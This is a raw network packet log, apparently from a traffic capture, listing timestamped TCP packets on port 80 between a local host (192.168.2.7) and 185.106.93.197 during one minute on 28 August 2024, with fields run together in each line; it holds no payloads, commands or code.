                                                                      Aug 28, 2024 11:19:13.207103968 CEST6024580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:13.212105989 CEST8060245185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:13.212120056 CEST8060245185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:13.212155104 CEST8060245185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:13.408533096 CEST8060244185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:13.456722021 CEST6024480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:13.525384903 CEST8060245185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:13.536355972 CEST8060244185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:13.539138079 CEST6024580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:13.544265032 CEST8060245185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:13.547188044 CEST6024580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:13.581734896 CEST6024480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:13.679986954 CEST6024480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:13.680373907 CEST6024680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:13.685647011 CEST8060246185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:13.685662031 CEST8060244185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:13.685715914 CEST6024680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:13.685750008 CEST6024480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:13.685976028 CEST6024680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:13.690733910 CEST8060246185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:14.034969091 CEST6024680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:14.039979935 CEST8060246185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:14.039992094 CEST8060246185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:14.040000916 CEST8060246185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:14.389874935 CEST8060246185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:14.520627975 CEST8060246185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:14.520701885 CEST6024680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:14.647954941 CEST6024780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:14.652916908 CEST8060247185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:14.652987003 CEST6024780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:14.653094053 CEST6024780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:14.657838106 CEST8060247185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:15.005223989 CEST6024780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:15.010405064 CEST8060247185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:15.010416985 CEST8060247185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:15.010426998 CEST8060247185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:15.327665091 CEST8060247185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:15.462510109 CEST8060247185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:15.464787006 CEST6024780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:15.595838070 CEST6024780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:15.595838070 CEST6024880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:15.600795031 CEST8060248185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:15.601006031 CEST8060247185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:15.601111889 CEST6024780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:15.601216078 CEST6024880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:15.605264902 CEST6024880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:15.613121033 CEST8060248185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:15.956893921 CEST6024880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:15.966361046 CEST8060248185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:15.966383934 CEST8060248185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:15.966394901 CEST8060248185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:16.295977116 CEST8060248185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:16.347362995 CEST6024880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:16.425275087 CEST8060248185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:16.472357035 CEST6024880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:16.551974058 CEST6024880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:16.552263975 CEST6024980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:16.558068037 CEST8060249185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:16.558191061 CEST6024980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:16.558288097 CEST6024980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:16.558377028 CEST8060248185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:16.558428049 CEST6024880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:16.563817024 CEST8060249185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:16.911178112 CEST6024980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:16.916186094 CEST8060249185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:16.916198969 CEST8060249185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:16.916655064 CEST8060249185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:17.211802959 CEST8060249185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:17.271173000 CEST6024980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:17.340691090 CEST8060249185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:17.395147085 CEST6024980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:17.467161894 CEST6024680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:17.469429016 CEST6024980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:17.471141100 CEST6025080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:17.474427938 CEST8060249185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:17.474639893 CEST6024980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:17.475891113 CEST8060250185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:17.476031065 CEST6025080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:17.479163885 CEST6025080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:17.483963013 CEST8060250185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:17.831923962 CEST6025080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:17.837044954 CEST8060250185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:17.837058067 CEST8060250185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:17.837065935 CEST8060250185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:18.107673883 CEST8060250185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:18.194969893 CEST6025080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.244424105 CEST8060250185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:18.317229986 CEST6025080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.371294022 CEST6025080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.371550083 CEST6025180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.376579046 CEST8060250185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:18.376595020 CEST8060251185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:18.376650095 CEST6025080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.376681089 CEST6025180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.376805067 CEST6025180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.382309914 CEST8060251185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:18.551608086 CEST6025180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.551970959 CEST6025280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.556853056 CEST8060252185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:18.556926966 CEST6025280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.557086945 CEST6025280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.561924934 CEST8060252185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:18.598006010 CEST8060251185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:18.681158066 CEST6025380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.687109947 CEST8060253185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:18.689609051 CEST6025380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.689609051 CEST6025380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.696326017 CEST8060253185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:18.844171047 CEST8060251185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:18.846550941 CEST6025180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.910403013 CEST6025280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:18.915354967 CEST8060252185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:18.915924072 CEST8060252185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:19.035386086 CEST6025380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:19.041027069 CEST8060253185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:19.041039944 CEST8060253185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:19.041131973 CEST8060253185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:19.208277941 CEST8060252185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:19.269378901 CEST6025280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:19.337466002 CEST8060252185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:19.381556034 CEST8060253185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:19.456795931 CEST6025280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:19.456877947 CEST6025380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:19.516997099 CEST8060253185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:19.566159010 CEST6025380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:19.641391993 CEST6025280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:19.641834021 CEST6025380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:19.641834021 CEST6025480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:19.647212029 CEST8060254185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:19.647361040 CEST6025480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:19.647507906 CEST8060252185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:19.647519112 CEST8060253185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:19.647612095 CEST6025280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:19.647613049 CEST6025380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:19.647979021 CEST6025480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:19.653623104 CEST8060254185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:20.003803015 CEST6025480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:20.009311914 CEST8060254185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:20.009322882 CEST8060254185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:20.009331942 CEST8060254185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:20.288887978 CEST8060254185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:20.331789970 CEST6025480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:20.420715094 CEST8060254185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:20.472418070 CEST6025480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:20.549123049 CEST6025580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:20.554157019 CEST8060255185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:20.554275990 CEST6025580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:20.554574013 CEST6025580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:20.559400082 CEST8060255185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:20.910073042 CEST6025580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:20.915733099 CEST8060255185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:20.915749073 CEST8060255185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:20.915760040 CEST8060255185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:21.176678896 CEST8060255185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:21.222398043 CEST6025580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:21.305078983 CEST8060255185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:21.351186991 CEST6025580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:21.427182913 CEST6025580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:21.427227020 CEST6025680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:21.432168007 CEST8060256185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:21.432645082 CEST8060255185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:21.432745934 CEST6025580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:21.432753086 CEST6025680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:21.433007956 CEST6025680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:21.437783957 CEST8060256185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:21.787714005 CEST6025680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:21.793692112 CEST8060256185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:21.793710947 CEST8060256185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:21.793720961 CEST8060256185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:22.097543955 CEST8060256185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:22.144268990 CEST6025680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:22.224747896 CEST8060256185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:22.269267082 CEST6025680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:22.351110935 CEST6025680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:22.351555109 CEST6025780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:22.357961893 CEST8060257185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:22.358041048 CEST6025780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:22.358292103 CEST6025780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:22.358350992 CEST8060256185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:22.358398914 CEST6025680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:22.363138914 CEST8060257185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:22.715254068 CEST6025780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:22.720412016 CEST8060257185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:22.720433950 CEST8060257185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:22.720443964 CEST8060257185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:24.348963022 CEST6025880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:24.349023104 CEST6025780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:24.354212999 CEST8060258185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:24.354285955 CEST6025880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:24.354424000 CEST6025880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:24.360889912 CEST8060258185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:24.398013115 CEST8060257185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:24.469309092 CEST6025980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:24.475786924 CEST8060259185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:24.475923061 CEST6025980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:24.476069927 CEST6025980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:24.482820988 CEST8060259185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:24.708395958 CEST6025880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:24.713382006 CEST8060258185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:24.713401079 CEST8060258185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:24.834203005 CEST6025980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:24.839235067 CEST8060259185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:24.839250088 CEST8060259185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:24.839260101 CEST8060259185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:24.993535042 CEST8060258185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:25.034929037 CEST6025880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:25.121027946 CEST8060258185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:25.126000881 CEST8060259185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:25.175551891 CEST6025980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:25.175554037 CEST6025880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:25.262401104 CEST8060259185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:25.297444105 CEST8060254185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:25.297555923 CEST6025480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:25.317189932 CEST6025980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:25.388319969 CEST6025480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:25.393560886 CEST6025880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:25.393860102 CEST6026080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:25.393896103 CEST6025980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:25.398660898 CEST8060260185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:25.398782969 CEST8060258185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:25.398870945 CEST6025880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:25.398870945 CEST6026080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:25.399060965 CEST6026080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:25.399132967 CEST8060259185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:25.399190903 CEST6025980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:25.403795004 CEST8060260185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:25.753860950 CEST6026080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:25.759396076 CEST8060260185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:25.759411097 CEST8060260185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:25.759419918 CEST8060260185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:25.816678047 CEST8060257185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:25.816735029 CEST6025780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:26.088956118 CEST8060260185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:26.144339085 CEST6026080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:26.228074074 CEST8060260185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:26.269309998 CEST6026080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:26.464879990 CEST6026180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:26.470036983 CEST8060261185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:26.470105886 CEST6026180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:26.470334053 CEST6026180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:26.475066900 CEST8060261185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:26.817223072 CEST6026180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:26.822642088 CEST8060261185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:26.822732925 CEST8060261185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:26.822742939 CEST8060261185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:27.098419905 CEST8060261185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:27.147192001 CEST6026180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:27.229626894 CEST8060261185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:27.269320011 CEST6026180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:27.345042944 CEST6026180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:27.346019983 CEST6026280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:27.350671053 CEST8060261185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:27.350785017 CEST6026180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:27.351239920 CEST8060262185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:27.352030993 CEST6026280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:27.356553078 CEST6026280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:27.361430883 CEST8060262185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:27.714724064 CEST6026280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:27.720024109 CEST8060262185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:27.720041037 CEST8060262185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:27.720048904 CEST8060262185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:28.137618065 CEST8060262185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:28.137679100 CEST8060262185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:28.137720108 CEST6026280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:28.256000996 CEST6026280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:28.256247044 CEST6026380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:28.261250973 CEST8060262185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:28.261307001 CEST6026280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:28.261548042 CEST8060263185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:28.261665106 CEST6026380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:28.261801004 CEST6026380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:28.267870903 CEST8060263185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:28.613686085 CEST6026380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:28.618779898 CEST8060263185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:28.618794918 CEST8060263185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:28.618804932 CEST8060263185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:28.890748978 CEST8060263185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:28.943238974 CEST6026380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:29.025444031 CEST8060263185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:29.087188959 CEST6026380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:29.141191006 CEST6026380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:29.141191006 CEST6026080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:29.146241903 CEST8060263185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:29.146280050 CEST6026480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:29.147531033 CEST6026380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:29.153959990 CEST8060264185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:29.159353971 CEST6026480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:29.159353971 CEST6026480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:29.164308071 CEST8060264185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:29.503829956 CEST6026480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:29.510198116 CEST8060264185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:29.510211945 CEST8060264185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:29.510220051 CEST8060264185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:29.788134098 CEST8060264185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:29.831811905 CEST6026480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:29.916836977 CEST8060264185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:29.972434998 CEST6026480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.035705090 CEST6026480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.036175013 CEST6026580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.041228056 CEST8060264185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.041240931 CEST8060265185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.041280031 CEST6026480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.041322947 CEST6026580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.041467905 CEST6026580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.046209097 CEST8060265185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.130028963 CEST6026580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.130431890 CEST6026680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.135210991 CEST8060266185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.135273933 CEST6026680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.135400057 CEST6026680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.140136957 CEST8060266185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.181960106 CEST8060265185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.250679970 CEST6026780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.255445004 CEST8060267185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.255517960 CEST6026780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.255613089 CEST6026780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.260385036 CEST8060267185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.488306046 CEST6026680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.493103981 CEST8060266185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.493320942 CEST8060266185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.508620024 CEST8060265185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.508723021 CEST6026580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.613498926 CEST6026780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:19:30.618355989 CEST8060267185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.618396044 CEST8060267185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:19:30.618405104 CEST8060267185.106.93.197192.168.2.7
